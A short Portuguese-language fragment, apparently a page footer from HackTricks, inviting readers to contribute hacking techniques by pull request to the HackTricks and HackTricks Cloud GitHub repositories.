* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>